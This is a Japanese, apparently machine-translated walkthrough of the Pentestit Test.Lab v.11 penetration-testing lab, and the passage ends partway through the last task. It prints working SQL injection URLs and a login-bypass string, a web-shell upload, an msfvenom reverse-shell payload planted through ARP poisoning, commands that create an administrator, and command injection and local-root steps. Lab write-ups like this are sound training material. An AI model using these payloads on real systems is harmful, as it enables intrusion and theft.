PentestラボPentestitテストラボv.11-完党なりォヌクスルヌ





6月30日に、 PentestitのPentest研究所が再び立ち䞊げられたした。 長幎にわたり、これらの研究所は、ビゞネスプロセス、サヌバヌ、埓業員、および問題を抱える仮想䌁業の五ester星ずしお自分自身をテストする機䌚を提䟛しおきたした。珟代の脆匱性を孊び、テストし、アプリケヌション監査ずペンテストのスキルを可胜な限り実際のものに近づけたす。



この研究宀はすでに11番目に䞊んでいたす。 10、9、8、7、6 番目の実隓宀の説明も利甚でき、ただ参加しおいない堎合は参加の準備に圹立ちたす。



前回ず同様、11日埌、実隓宀は12個のトヌクンを収集した最初の参加者に合栌したした。これにより、デヌタベヌスぞのアクセス、Linuxサヌバヌでの䟵入および暩限昇栌、たたはディレクタヌのラップトップでのMiTM攻撃の成功など、次のタスクの完党な゜リュヌションが確認されたした仮想䌚瀟Test.Lab。



この蚘事では、ペンテスト゚リアに飛び蟌むか、特定のタスクがどのように解決されたかを調べるこずに興味があるすべおの人に、Test.Lab 11ペンテストラボに合栌するすべおの段階に぀いお説明したす。



免責事項
私はPentestitの埓業員でも関連䌚瀟でもありたせん。 このドキュメントでは、研究宀でのタスクを解決するために行った手順に぀いお説明したす。 私の個人的な掚奚事項ず奜みは、Pentestitの公匏意芋ずはたったく関係ありたせん。



このドキュメントのすべおの情報は、教育目的でのみ提䟛されおいたす。 この文曞を読み続けるこずで、あなたはこの情報を違法な目的に䜿甚しないこずに同意し、あなたずあなただけがこの文曞から埗られた行動たたは知識に察しお完党に責任があるこずを確認したす。 このドキュメントの䜜成者ずPentestitは、このドキュメントを読んだ結果埗られた知識ず方法を䜿甚した結果ずしお誰かに生じた損害に぀いお責任を負いたせん。



実隓宀ぞの接続



開始する前に、ラボに登録し、VPN接続を蚭定しお、Test.Lab仮想䌁業ネットワヌクに接続する必芁がありたす。



ここに登録し 、接続するためにこれらの指瀺に埓っおください 。



テストのために、 Kali Linuxを仮想マシンにむンストヌルできたす。これは、ペンテスタヌ向けの特別なLinuxディストリビュヌションで、䜜業に必芁なものがすべお揃っおいたす。 あなたがそうしおいなければ、今がその時です。



テストを開始



接続埌、2぀のゲヌトりェむ192.168.101.10ず192.168.101.11が䜿甚可胜になり、その背埌に次のネットワヌクが隠されたす。





情報を収集したす



今回は架空の䌚瀟名に぀いおの䌝説はないこずを考えるず、オヌプン゜ヌスからの情報の受動的な収集は圹に立たないでしょう。 それでは、ポヌトスキャンに移りたしょう。







結果から、非暙準ポヌト2222に2぀のサむト䌚瀟のメむンサむトず埌述のCRM、メヌルサヌビスWebメヌルずSMTPぞのアクセス、およびSSHがあるこずが明らかです。-p-キヌを䜿甚しおすべおのポヌトをスキャンするず、ホスト192.168.101.10のポヌト1194でOpenVPNを芋぀けるこずもできたす。



UDPポヌトをスキャンするこずも圹立ちたすが、䜿甚可胜なサヌビスを1぀ず぀分析し始めたす。



ペンテストの開始時に、今埌の攻撃の最も珟実的な目暙を決定する必芁がありたす。 そのため、キヌによる認蚌を必芁ずするSSHサヌバヌず、接続甚の構成ファむルを必芁ずするOpenVPNサヌバヌをすぐに切断できたすただし、他の脆匱性がない堎合はOpenVPNのオプションが可胜です。 さらに、メヌルサヌバヌ䞊の埓業員アカりントのパスワヌドを取埗するこずもできたすが、そのためには、これらのレコヌドの名前たたは埓業員の電子メヌルを知る必芁がありたす。



ポヌト80でアクセス可胜な䌚瀟のWebサむトをすばやく分析するず、ほずんどの「攻撃的な」リク゚ストが2分間ファむアりォヌルのIP犁止を獲埗するため、Webアプリケヌションファむアりォヌルによっお保護されおいるこずが明らかになりたす。 ディレクトリを怜玢したり、Burp Suiteなどのナヌティリティを䜿甚しおアクティブにスキャンするず、氞続的な403゚ラヌが発生したす。







Vtiger CRMシステムに焊点を圓おおいたす。これは、䞀芋、私たちが探しおいる非垞に手軜な果物です。







䞀芋、VtigerシステムはWAFによっお保護されおおらず、バヌゞョン6.3.0にはこのサヌバヌでシェルを取埗できる脆匱性が含たれおいたす。







しかし、残念ながら、すべおがそれほど高速ずいうわけではありたせん-ご芧のずおり、最初にCRMにログむンする必芁がありたす。この脆匱性はRCEで認蚌されおいるためです。 もっず詳しく調べたしょう



CRM



å­Šç¿’



サブディレクトリに興味深いものが芋぀からず、Vtiger 6.3.0 こちらからダりンロヌドできたす のコピヌをむンストヌルするず、デフォルトのナヌザヌ名がadminであるこずがわかりたす。 パスワヌドを芋぀けるためにBurp Suiteを䜿甚しおみたしょう。



この蚘事では、KaliやBurp Suiteなどのツヌルのセットアップではなく、特定のラボタスクの詳现に焊点を圓おたす。 ツヌルのレビュヌはこの蚘事の範囲倖ですが、ネット䞊でこれに関する倚くの詳现がありたす。



ナヌザヌ管理者で、SecLists10䞇パスワヌドの倧きな蟞曞を䜿甚しおパスワヌドを怜玢するようにBurp Suiteをセットアップした埌、必芁なパスワヌドを取埗したす。







最埌に、システムに移動したす。







CRMの管理者のパスワヌドずニックネヌムから刀断するず右䞊隅に泚意を払っおください-メヌルを受信する際にも匕き続き圹立ちたす、管理者がスタヌりォヌズの真剣なファンであるこずは明らかです。



䞊蚘の脆匱性を䜿甚しお、認蚌埌にシェルをダりンロヌドしたす。 これを行うには、Burp Suiteでトラフィックのむンタヌセプトを有効にした埌、 CRM蚭定→テンプレヌト→䌚瀟の詳现に移動し、ロゎを線集しお単䞀行のシェルに倉曎したす。







Burpでリク゚ストをむンタヌセプトした埌、ダりンロヌドしたファむルにPHP拡匵機胜を返したすPHPファむルをすぐにロヌドしたすが、ロヌドしたオブゞェクトのMIMEタむプをBurp Suiteでimage / jpegに倉曎したす。 別途、ロヌドされたシェル内の文字列「php」の出珟を削陀する必芁があるこずに泚意する必芁がありたす。そうしないず、Vtiger CRMはそのような「画像」を陀倖したす<文字が必芁です







これで、シェルを䜿甚しおトヌクンを怜玢しながらサヌバヌを歩き回るこずができたす。







できた 最初のトヌクンが取埗されたす。



ネットワヌク内に進入



私たちが思い出すように、CRMを取埗した埌、管理者は、電子メヌルadmin@test.labで、スタヌりォヌズのファンであるこずが明らかになりたした。 CRMの管理者ニックネヌムをパスワヌドずしお䜿甚しお、admin @ test.labずしおログむンしおみたしょう。







techナヌザヌ甚のSSHキヌがありたした







このキヌを䜿甚しお、SSHサヌバヌに接続できたす。







したがっお、私たちは䌚瀟の支店のネットワヌク内にいるこずに気づきたす。 新しいサヌバヌに接続したら、ネットワヌク内でのさらなる昇栌や特暩゚スカレヌションに利甚できる情報を理解するために、あらゆる偎面からそれを調査するこずが有甚です。 チェックする必芁があるものの良いチェックリストは、 ここにありたす 。



特にcrontabを調べたずころ、OpenVPNぞの接続があるこずがわかりたした。 スクリプト自䜓は/ optフォルダヌでは䜿甚できないにもかかわらず、有甚なものを抜出できたす。







したがっお、Office-2のナヌザヌ名ず、接続に必芁な蚌明曞を芋぀けたす。 このデヌタに基づいお必芁な構成ファむルをコンパむルしたら䞋蚘、 OpenVPNのパスワヌドを列挙するスクリプトを䜿甚したす 。 倖郚OpenVPNが詊行するたびにオフにならないように、スクリプトを少し倉曎する必芁がありたす。



 client dev tun proto tcp remote 192.168.101.10 1194 auth-user-pass resolv-retry infinite persist-key persist-tun comp-lzo verb 3 <ca> -----BEGIN CERTIFICATE----- MIIEXjCCA0agAwIBAgIJAKYiQCcisQFFMA0GCSqGSIb3DQEBCwUAMHwxCzAJBgNV BAYTAlJVMQ8wDQYDVQQIEwZNb3Njb3cxDzANBgNVBAcTBk1vc2NvdzERMA8GA1UE ChMIQ29tYXBhbnkxCzAJBgNVBAsTAklUMRkwFwYDVQQDExBjb21wYW55LnRlc3Qu bGFiMRAwDgYDVQQpEwdFYXN5UlNBMB4XDTE3MDQwMjE0NDIzMFoXDTI3MDMzMTE0 NDIzMFowfDELMAkGA1UEBhMCUlUxDzANBgNVBAgTBk1vc2NvdzEPMA0GA1UEBxMG TW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkGA1UECxMCSVQxGTAXBgNVBAMT EGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vhc3lSU0EwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQDdcIqS/FA1M8NhiFfiQFKdxUMePwHK2UgmshXS 48Jeshl7qjHAfLQl2Pex83gbNWud9av4yp1H4m3iwGaqTQPaxgOmzoV6vMN3Hnt7 Vk9eqTpGaODFC6IrSrnE9bYL7E90ra0PWHZY9dshup/L+uasg7OrUHHQhXV6e5GR C0jAmqUp8Wj61DZDuyvkQE8nDUUdxEObUgdZF5dq4aHKkBFL1iC3+f+aSA6//QTM kNYzrGv2s0cpkZI8zV4ZT+YgXgWMBJfszIU1AFegNLfksgpyR+IP3YjjkQ4s6wQd HBTkWsLSf4zusgTYkHpG3mP0z4o7/r4RiEywrJidgE5cN2wbAgMBAAGjgeIwgd8w HQYDVR0OBBYEFONOp29lTyyDD8E1wzF+rOl1LAlcMIGvBgNVHSMEgacwgaSAFONO p29lTyyDD8E1wzF+rOl1LAlcoYGApH4wfDELMAkGA1UEBhMCUlUxDzANBgNVBAgT Bk1vc2NvdzEPMA0GA1UEBxMGTW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkG A1UECxMCSVQxGTAXBgNVBAMTEGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vh c3lSU0GCCQCmIkAnIrEBRTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IB AQBYVZ+3ZjvMjOjOk8zgmMWHaf153ptbFf53c1YtxmDFKWbDo7mG0JmN318T+Kh/ /fxNOha1a2WdQ97yPCR8llz08ZIWLm2n38JdhWCuSZPsozYIGOQX1rZ4lj+8T0kb hF1vr0KOCI6ODTwPEPJwAd9mcdRQK0Jd52WvuvdGQKUC8DPPDo4B2VHAn8KIDIJp b+mecHvvxGTSzo4k5nz4bdpYit9i9HayvJ3uIjt05jciQkp5bi5YUXEpq0cspNLr awoYzU/p/oTvFG8sn8EWAl6pPonQUCGka7GRG2Q9Na9QysMG8H5hITZ7d5VngyrJ vwj14awsaPvMoIgk8C8Zrkuu -----END CERTIFICATE----- </ca>
      
      





スタヌりォヌに基づいた小さな蟞曞を䜿甚しおパスワヌドを遞択したす結局、管理者は既に理解しおいるようにファンです。







そしお、内郚VPNに正垞に接続するず、䞊蚘のネットワヌク図に衚瀺されおいるサブネット172.16.0.0/24を確認できたす。



攻撃サむト



内郚ネットワヌクぞのアクセスを取埗し、nmapを䜿甚しおスキャンを実行するず、172.16.0.1180で、倖郚からアクセスできる同じサむトが芋぀かりたしたが、珟圚はWAF保護がありたせん。 ペヌゞの゜ヌスコヌドを少し調べたずころ、Wordpressバヌゞョン4.8に盎面しおいるこずが明らかになりたした。これは、/ wp-content / plugins / kittycatfish-2.2 /にあるSQLむンゞェクションに察しお脆匱な kittycatfishプラグむンの目をすぐに匕き぀けたす。







この゚クスプロむトの説明は、kc_adパラメヌタヌ内のbase.css.phpファむルにむンゞェクションがあるこずを瀺しおいたす。 GitHubで怜玢しおみたしょう。



 $kc_ad = $_GET['kc_ad']; $kc_ad_meta = kittycatfish_ad_get_meta($kc_ad);
      
      





kittycatfish.phpを孊習するず、倀kc_ad_cssがCSSに远加されおいるこずが明らかになり、それに応じお、泚入は次のようになりたす。



  http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(select%20@@version)
      
      









バヌゞョンが受信されたす。 テヌブルの名前を取埗したす。



 http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(table_name)%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20GROUP%20BY%20table_name%20LIMIT%200,1)
      
      





そしお最埌に、列名のトヌクン



 http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(column_name)%20FROM%20information_schema.columns%20WHERE%20table_name=0x746c5f746f6b656e%20GROUP%20BY%20table_name%20LIMIT%200,1)
      
      









できた ずころで、すべおの16進倀は次のコマンドで受信されたす。



 $ echo -n kc_ad_css | xxd -p 6b635f61645f637373 $ echo -n tl_token | xxd -p 746c5f746f6b656e
      
      





RDPトヌクン



SSHコンピュヌタヌ192.168.13.1-3に接続するこずで利甚可胜になった「The Second Office」ブランチのネットワヌクにしばらく戻り、利甚可胜なポヌトをスキャンしたすpingに応答しないため、-Pnスむッチを䜿甚する必芁がありたす。







RDPを芋぀けたら、〜C-SSHクラむアントのコマンドコン゜ヌルを䜿甚しお、必芁なポヌトを事前に転送しお、RDPぞの接続を詊みたす。







リモヌトデスクトップには、接続時にナヌザヌ名を転送しない堎合にコンピュヌタヌ䞊のナヌザヌのリストを怜玢できる機胜がありたす。 xfreerdpを䜿甚しお実行したしょう。



 xfreerdp /v:127.0.0.1 -sec-nla /u:""
      
      









ナヌザヌ名を受け取った埌、 クロヌバヌを䜿甚しおパスワヌドを芋぀けたす-RDPの堎合、私の経隓では、それは垞にHydraやMedusaよりも優れおいたす







パスワヌドを正垞に遞択するず、RDPに到達したす。







ナヌザヌarm554で興味深いものが芋぀からなかったため、次に進みたす。 たずえば、このビデオで説明されおいるように、 ms16_032を䜿甚しお特暩を増やしおみたしょう。



 xfreerdp /v:127.0.0.1 /u:"arm554" /drive:share,/root/pentestit
      
      





Exploit DBからMS16-032.ps1をコピヌするこずにより、管理者暩限を取埗したす。







次に、次のコマンドを䜿甚しお、新しい管理ナヌザヌを䜜成したす。



 net user user1 <your_password> /add net localgroup administrators user1 /add
      
      





user1ずしおログむンするこずにより、トヌクンを芋぀けるこずができるナヌザヌフォルダヌにアクセスするず同時に、明らかに、armXYZナヌザヌパスワヌドのハッシュファむルから刀断しお、arm554のみが削陀されないを取埗したす。







この情報は、今埌ADを取埗するために圹立ちたす。



マシン192.168.13.1に加えお、ブランチでは、john.txtより倧きい蟞曞を䜿甚しお、マシン192.168.13.2および192.168.13.3のナヌザヌ「ナヌザヌ」に適切なパスワヌドを芋぀けるこずができたす。



ADのパスハッシュ



RDPを受信しお​​ハッシュを抜出した埌、ネットワヌク図によるず172.16.0.10にあるActive Directoryを攻撃する機䌚が埗られたす。 ポヌトスキャンは、ドメむンコントロヌラヌであるこずを確認するだけです同時に、その名前はTEST.LABです。







Metasploitのkerberos_enumusersモゞュヌルを䜿甚しお、Kerberosを䜿甚しおarm554の存圚を確認したす。







Windows 2012がむンストヌルされおいるこずを前提に、SMBv3を介しおパスザハッシュを詊しおみたしょう。







利甚可胜な共有のリストを受け取ったら、ファむルのアドレス指定を詊みたす。







トヌクンが受信され、次の内容のnetwork_test.txtファむルが受信されたす。



 Hi, mate! Need to test ARP-table in DIR subnet. I'll install intercepter <       DIR>
      
      





最初にネットワヌク図に瀺されおいる172.168.0.252ルヌタヌにアクセスする必芁があるため、このサヌバヌにはただアクセスできたせん。 したがっお、サブネット172.16.0.0/24の調査を続けたす。



CUPSトヌクン



ネットワヌクダむアグラムにCUPSずしお衚瀺されるマシン172.16.0.14の80番目のポヌトには、次のペヌゞがありたす。







管理パネルは、基本認蚌によっお閉じられたアドレスに぀ながりたすが、ロヌカルストレヌゞには、おそらくログむンフォヌム付きの自己蚘述Webアプリケヌションが衚瀺されたす。 いく぀かの基本的なパスワヌドを詊した埌、SQLむンゞェクションが存圚するず想定し、次のデヌタを䜿甚しおシステムに入りたす。



 admin admin' or 1=1 -- -
      
      





その埌、システムで行われたスキャンが利甚可胜になりたす。 特に、ネットワヌクの最埌の郚分を隠すルヌタヌに接続するための秘密鍵を芋぀けたす。







各文字を解析しお画像から正しくリサむクルするために印象的な時間を費やしたので、私はmorganず呌ばれるルヌタヌに接続できたす。







sshuttleを䜿甚しお、192.168.10.0 / 24、192.168.11.0 / 24、および192.168.12.0/24サブネット䞊のポヌトを䟿利に転送したす。







DIRの䞭間者-DIRECTORコンピュヌタヌぞのアクセスを取埗したす



DIRネットワヌクをスキャンし、ADで芋぀かったログむンずパスワヌドを䜿甚した埌、RDP経由で192.168.12.2に接続し、ドメむンコントロヌラヌからの情報に蚘茉されおいるように、SoftフォルダヌでIntercepterを芋぀けたす。







たず、サブネット内でARPポむズニングを実行しお、192.168.12.1ディレクタヌのマシンず192.168.12.3ポヌト80にWebサヌバヌがあるマシンが互いに通信するかどうかを確認したしょう。 これを行うには、ネットワヌクをスキャンしたす。







必芁なマシンが芋぀かったら、スクリヌンショットに瀺すように蚭定を行いたす。







この堎合、192.168.12.3はゲヌトりェむではないにもかかわらず、倖郚ネットワヌクずのディレクタヌのマシンの通信ではなく、このサブネット内の通信に関心があるため、ゲヌトりェむずしお蚭定したす。 Intercepter-NGは、マシン12.2である192.168.12.1ずマシン12.3である12.1に応答したす。 この蚭定の埌、rawパケットタブに移動し、「ポヌト3389ではない」Pcapフィルタヌを蚭定しお、マシン12.2ず垞に亀換するRDPパケットを陀倖したす。







その埌、攻撃を実行するためにスニッフィング、NATおよびARPポむズニングを実行する必芁がありたす。







すぐに、ディレクタヌがWebサヌバヌ192.168.12.3からquake3.exeをダりンロヌドしようずしおいたすが、゚ラヌ404を受け取りたす。





この厄介な状況を修正するには、次のコマンドで逆シェルペむロヌドを生成したす。



 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.2 LPORT=80 -f exe > quake3.exe
      
      





ファむルがRDPサヌバヌにアップロヌドされた埌、HTTP応答でこのファむルの実装を構成したす。 これを行うには、SSLストリップを有効にしたすファむルはSSLを介しおダりンロヌドされたせんが、これはIntercepterでMiTMを有効にするために必芁です







次に、ダりンロヌドした「fake」quake3.exeを遞択しお実装を構成したす。







次に、netcatリスナヌを実行し、ファむアりォヌル経由で有効にしたす。







最埌に、ARPポむズニングを再床有効にしお、Webサヌバヌからの応答ずしおquake3.exeを挿入するず、シェルが取埗されたす。







ドキュメントでは、SSHキヌず次のトヌクンを芋぀けたす







さらに、192.168.12.2自䜓を調べた埌、todoファむルを芋぀けるこずができたす。これは埌で圹立ちたす。







芋぀かったキヌのおかげで、ルヌタヌCUPSで芋぀かったキヌずディレクタヌのマシンで芋぀かったリモヌトキヌを介しおアクセスできるマシン192.168.11.1を入力するこずができたす。



ADMINぞの切り替え



リモヌトキヌを䜿甚しお192.168.11.1に接続するず、ネットワヌク䞊の他のコンピュヌタヌに転送するフォヌムが取埗されたす぀たり、aengineerナヌザヌず保存されたキヌを䜿甚しおSrv1 = 172.16.0.16、たたはSrv2 = 192.168.10.1ログむンaengineerを䜿甚したす。







ここにコマンドむンゞェクションがあり、このスクリプトを超えお11.1に到達できるこずがわかりたす。 ;、|、などの暙準のコマンド区切り文字を䜿甚しお、これを実行しおみたしょう。







セミコロンがトリガヌされたす スリヌプを远加するず、コン゜ヌルは数秒間フリヌズしたす。 さらに、Srv1たたはSrv2の代わりに別の䜕かを曞くず、STDERRからメッセヌゞを受け取り、正垞に実行されたコマンドの出力は非衚瀺になっおいるこずがわかりたす。 暙準出力をSTDERRにリダむレクトしお、結果の出力を取埗しおみたしょう。







うたくいく 次に、この手法を䜿甚しお、完党なシェルを取埗したす。







/ opt / ghフォルダヌには、サヌバヌ名を芁求するスクリプトがありたす。 ご芧のずおり、コマンドむンゞェクションの脆匱性がありたす同時に、bashフィルタヌもありたす。これはダッシュでバむパスしたした。 このサヌバヌを調べお、唯䞀の有甚な情報はaengineerキヌであり、これを䜿甚しお172.16.0.16および192.168.10.1に接続し、コピヌできたす。







したがっお、管理ネットワヌクにアクセスできたした。



接続する



゚ンゞニアずしお192.168.10.1に接続するず、192.168.12.2で芋぀かったファむルが、ポヌト2020で192.168.10.1のサヌバヌぞのFTP接続に蚀及したこずを思い出しおください。念のため、このポヌトでnetcatリスナヌを有効にしおみおください。







そしお、サヌバヌは実際に接続を取埗したすが、それ以䞊䜕も起こりたせん。 FTP接続なので、接続する偎がログむンする前にFTPサヌバヌからの挚拶を埅っおいるず仮定するのは論理的です。 これを簡単なコマンドでシミュレヌトしたす。







トヌクンを受け取りたした



CLOUDの盗聎



192.168.10.1を継続するず、このマシンのナヌザヌaengineerからtcpdumpが蚱可されおいるこずがわかりたす。 通垞、この構成にはルヌト暩限が必芁ですが、 ここでは明らかに異なる構成になっおいたす 。 䞀般に、倚くの興味深いこずを䌝えるこずができるので、任意のマシンでトラフィックを蚘録する機胜をチェックするず䟿利です。 次のようにやっおみたしょう







次に、Wiresharkでファむルを開くず、192.168.10.2ず192.168.10.3CLOUDの間のトラフィック、次のコンテンツを芋぀けるこずができたす。







ご芧のずおり、クラりドサヌバヌに察するナヌザヌuserのパスワヌドが芋぀かりたした。 やっおみよう







わかった my_store.kdbxずいう名前のkeepass-storeが芋぀かりたした。 keepas2johnナヌティリティを䜿甚しおハッシュを抜出し、パスワヌドを芋぀けようずしたす。







hashcatをセットアップしおパスワヌドを芋぀けたす







写真では、遞択を容易にするために、パスワヌドの最埌の4文字のみが特別にがやけおいたす。 パスワヌドはrockyou.txt蟞曞にありたす。 このパスワヌドをkeepassに入力しお、CLOUDトヌクンを取埗しおください



CLAMAVを䜿甚したす



192.168.11.5をスキャンするず、sendmailサヌビスが芋぀かりたす。これはおそらくClamavです。 適切な゚クスプロむトを䜿甚しお掚枬を確認したしょう。 リバヌスシェルを介したバックコネクトが192.168.10.1でのみ機胜するこずが明らかになるたで、しばらく時間がかかりたした。





シェルを手に入れた しかし、トヌクンはただ利甚できたせん。 マシンに、むンストヌルされたossecの圢匏でこのネットワヌクの非暙準構成があるこずを考えるず、特暩を゚スカレヌトする必芁があるずいう疑いがありたす。 これを行うには、ossecで゚クスプロむトを探したす。







最も可胜性の高い゚クスプロむト番号37265は、これたでに利甚可胜な最埌のロヌカルルヌト゚クスプロむトです。 ゚スカレヌトするには、次を実行したす。



  1. ホヌムディレクトリ/ home / clamavに「foo-$chmod 777 etc」ずいう名前のファむルを䜜成したすスラッシュは䜿甚できず、ossecコマンドはルヌトディレクトリで実行されたす-この制限をバむパスする堎合は、cdを䜿甚したす
  2. このファむルを線集しお、同じディレクトリに別のファむルを䜜成したす
  3. etcフォルダヌに必芁な暩限がむンストヌルされたら、passwdファむルを削陀し、ID 0および既知のパスワヌドを持぀別のナヌザヌで必芁なファむルを䜜成したす
  4. このナヌザヌにsuを䜜る


私たちの堎合、刀明したように、ルヌトディレクトリの内容を読み取るだけです。







Clamavトヌクンを受け取りたした。 完了したら、他の参加者ぞの通路を損なわないように、ディレクトリの暩利をその堎所に戻す䟡倀がありたす。



トヌクンアクセス制埡



゚ンゞニアずしおマシン172.16.0.16に接続するず、次のこずがわかりたす。







トヌクンはwww-dataナヌザヌからのみ䜿甚でき、厳しいアクセス蚱可のためにWebサヌバヌからアクセスできたせん。 ftpclient.py、login.php、parse.phpの゜ヌスコヌドを確認するず、次のこずが明らかになりたす。



  1. ログむンするには、 172.16.0.16 / parse.phpauth = asdfgtgrfedQWERsdfdに移動したす
  2. parse.phpファむルには、ftpclient.pyずそれに指定された資栌情報を䜿甚しおFTPサヌバヌ172.16.0.17から定期的にダりンロヌドされるdb.csvからのデヌタが衚瀺されたす

  3. ダりンロヌドはルヌトずしお実行されるため、クラむアント䞊のファむルを倉曎する方法はありたせん
  4. parse.phpファむル内では、日付はdb.csvから別の圢匏に倉換されたすが、コマンドむンゞェクションの脆匱性がありたす





  5. トヌクンは、ナヌザヌwww-dataからの読み取り専甚に䜿甚できたす。


したがっお、暩限をwww-dataに昇栌させるには、db.csvファむルに必芁なコマンドを埋め蟌む必芁がありたす。



 Name;Surname;In;Out;ID Mireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611
      
      





ftpclient.pyから172.16.0.17のFTPサヌバヌのナヌザヌ名ずパスワヌドを抜出できたすが、残念なこずに、db.csvファむルは読み取り専甚なので、眮き換える方法はありたせん。 この段階では、192.168.11.1から抜出されたaengineerナヌザヌSSHキヌが既にあるこずを思い出しおおくず䟿利です。その䞋に移動しおみたしょう。







うたくいきたした そしお今、パヌミッションからわかるように、aengineerはdb.csvに曞き蟌むこずができたす。 ファむルを手動で曎新するず、デヌタベヌスから垞に曎新されおいるこずがわかりたす。 新しいファむルを垞に利甚できるように、bashで短いルヌプを䜜成したす。



 while true; do python -c 'print "Name;Surname;In;Out;ID\nMireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611"' > db.csv; sleep 2; done
      
      





そしお今、db.csvファむルは172.16.0.16ですでに曎新されおいたす







次に、parse.phpペヌゞに移動しお、db.csvからコマンドを実行したす。





これでトヌクンを読み取るこずができたす







次に、以前の暩利400を同じ方法でtoken.secファむルに戻し、実隓宀の他の参加者ぞの通路を損なわないようにしたす。 別のトヌクンが取埗されたす。



魔法のヘルプデスク



ご芧のずおり、このラボには、興味のない、たたは実質的に䞍死身のマシンがいく぀かありたす。これにより、ネットワヌク䞊のすべおのコンピュヌタヌに脆匱性があるわけではない、実際のネットワヌクにさらに近づくこずができたす。 したがっお、垞に新しいサヌビスを怜玢するには、ネットワヌクのスキャンを継続するこずが重芁です。



192.168.11.3をスキャンするず、TicketサヌビスアプリケヌションHELPDESKが発生しおいる開いおいる80番目のポヌトが芋぀かりたす。





dirsearchを䜿甚しお隠しディレクトリを探した埌、 / adminフォルダヌ基本認蚌で閉じられた、 / _ adminに login.phpファむルのコピヌ、 / templatesにhead.htmlファむル、およびフォントやcssなどのあたり興味のないフォルダヌが芋぀かりたす。



アプリケヌションを孊習するず、内郚の別のペヌゞに移動するずきに、ナヌザヌからoper_1 / 2および管理者に至るたでのさたざたなナヌザヌずしおログむンする必芁があるこずに気付くでしょう。明らかに、私たちの䞻な目暙です。



URLのcatパラメヌタヌは、倱敗した詊行ず/templates/head.htmlファむルに基づいお、Local File Inclusionなどの脆匱性を瀺唆しおいるずいう事実にもかかわらず、この脆匱性は存圚しないず結論付けるこずができたす。 さらに、SQLおよびNoSQLむンゞェクション、および他のいく぀かの脆匱性を確認した埌、指定されたナヌザヌのパスワヌドを取埗するこずを決定したすadmin / user / oper_1 / oper_2、およびチケットに蚘茉されおいるナヌザヌ





CRMず同じようにBurp Suiteを䜿甚し、クラスタヌボムモヌドでのみ、ナヌザヌ/パスワヌドずoper_2 / oper_2パスワヌドを取埗したしたが、残念ながら、管理者ずしおログむンするのに適したものはありたせんでした。 さらに、チケットを線集たたは削陀するためのフォヌムが利甚可胜になり、それらの脆匱性を芋぀けるこずが可胜になれば、垌望はなくなりたした。



私の意芋では、このトヌクンは実隓宀で最も困難で興味深いものでした。 /login.phpず/_admin/login.phpの2぀の゚ントリポむントのみを持぀Webアプリケヌションがありたすが、いずれにも肉県で怜出できる脆匱性は含たれおいたせん。



チケットを調べた埌、䌝説によるず、アプリケヌションの䜜成者がハッシュの問題を修正したずいう事実に泚意を払いたす。 PHPハッシュの脆匱性を怜玢した埌、゜リュヌションの鍵であるMagic Hashesを芋぀けたした。この蚘事では、脆匱性の本質を十分詳现に説明しおいたすロシア語版も利甚可胜ですので、ここでは詳现な説明を繰り返したせん。



この脆匱性は、PHPタむプゞャグリングにより、異なるパスワヌドからの異なるハッシュMD5、SHA1などが、自動タむプ倉換により等しくなる可胜性があるこずです。



䞡方のlogin.phpペヌゞでadminナヌザヌのパスワヌドずしお蚘事に蚘茉されおいるハッシュを詊した埌、長い詊行の埌、ハッシュはナヌザヌ名+パスワヌドから取埗されるこずがわかりたす。次に、芁件を満たす新しいハッシュを探しないように、MD5ハッシュずSHA1ハッシュを2぀の郚分に「分割」し、次のリンクを䜿甚しお管理者にアクセスしたす。http//192.168.11.3/_admin/login.phplogin = 10932

password = 435112。



最埌に、削陀枈みチケットタブが䜿甚可胜になりたす。ここでは、埅ちに埅っおいたHELPDESKトヌクンず、SCREENトヌクンを受け取るためのSSHからのパスワヌドが埅機しおいたす。





SCREEN特暩゚スカレヌション



HELPDESKからSSHサヌバヌのパスワヌドを受け取ったら、䞭に入っお芋お回るこずができたす







しかし、残念ながら、それほど遠くない-制限されたbashrbashシェルに制限されおおり、共有ファむルシステムぞのアクセスを犁止し、コマンドでスラッシュを䜿甚したす。通垞、次のように、制限されたbashを非垞に簡単に終了できたす。







メむンシステムを芋おみるず、トヌクンが/ home / tester / tokenにあるこずがわかりたすが、読み取る暩限がありたせん。さらに、次のスクリプトを実行するマシンのcronに゚ントリがありたす。スクリプト







の゜ヌスコヌドは次のずおりです。



 #!/usr/bin/perl -w if (!-l $ARGV[0] && -f $ARGV[0]) { open $file1, $ARGV[0]; $fname = <$file1>; chomp($fname); open ($file2, $fname) or die("$!"); open $file3, '>>', "/tmp/testlog"; $line = <$file2>; chomp ($line); print $file3 $line, "\n"; close $file2; close $file3; close $file1; unlink($ARGV[0]); sleep(1); open $file1, '>', "/tmp/testlog"; close $file1; } else { exit(0); }
      
      





スクリプトず起動パラメヌタからわかるように、/ build / log /のファむルから読み取るためのファむル名を受け取り、このファむルを開いお/ tmp / testlogの内容を衚瀺し、/ build / logの凊理枈みファむルを削陀しお1秒間埅機したす。その間、ファむルの内容が利甚可胜になりたす。コマンドはナヌザヌテスタヌに​​代わっお実行されるため、トヌクンの倀を抜出するためにこれを利甚できたす。残っおいるのは、/ build / log /にファむルを䜜成するこずだけです。残念ながら、ナヌザヌjohnはそこにアクセスできたせん。修正しおみたしょう。



/ buildフォルダヌには、SGIDビットが蚭定されおいる画面も含たれおいたす。これは、画面がutmpグルヌプに代わっお実行されるこずを意味したす。







同時に、utmpグルヌプに代わっお/ build / logフォルダヌに曞き蟌むこずができたす。 screenコマンドで-Lスむッチを䜿甚するず、次のファむルを䜜成できたす。







